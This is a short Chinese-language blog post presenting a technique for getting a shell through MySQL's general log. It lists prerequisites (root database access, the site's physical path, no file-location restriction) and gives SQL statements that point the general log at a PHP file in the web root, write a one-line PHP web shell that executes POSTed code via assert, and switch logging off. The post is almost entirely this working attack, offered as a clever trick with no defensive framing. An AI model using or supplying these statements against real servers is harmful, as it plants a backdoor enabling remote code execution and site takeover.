66秀直播,你喜欢的直播

骚思路 | Mysql通过日志拿shell

【摘要】Mysql通过日志拿shellemmm~有点舒服条件:1.root2.网站物理路径3.文件位置未被限制SQL语句:set...

Mysql通过日志拿shell

emmm~有点舒服

条件:

    1.root

    2.网站物理路径

    3.文件位置未被限制

SQL语句:

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/dyboy.php';
select '<?php @assert($_POST["dyboy"]); ?>';
set global general_log = off;

 小东
 简介:有丰富WEB开发经验,WEB安全相关经验,已承接各类外包项目20+,专业团队为您打造产品,有合作意向请联系QQ:1099718640

发表评论

游客
送你一朵小花花~

帅人已评(0)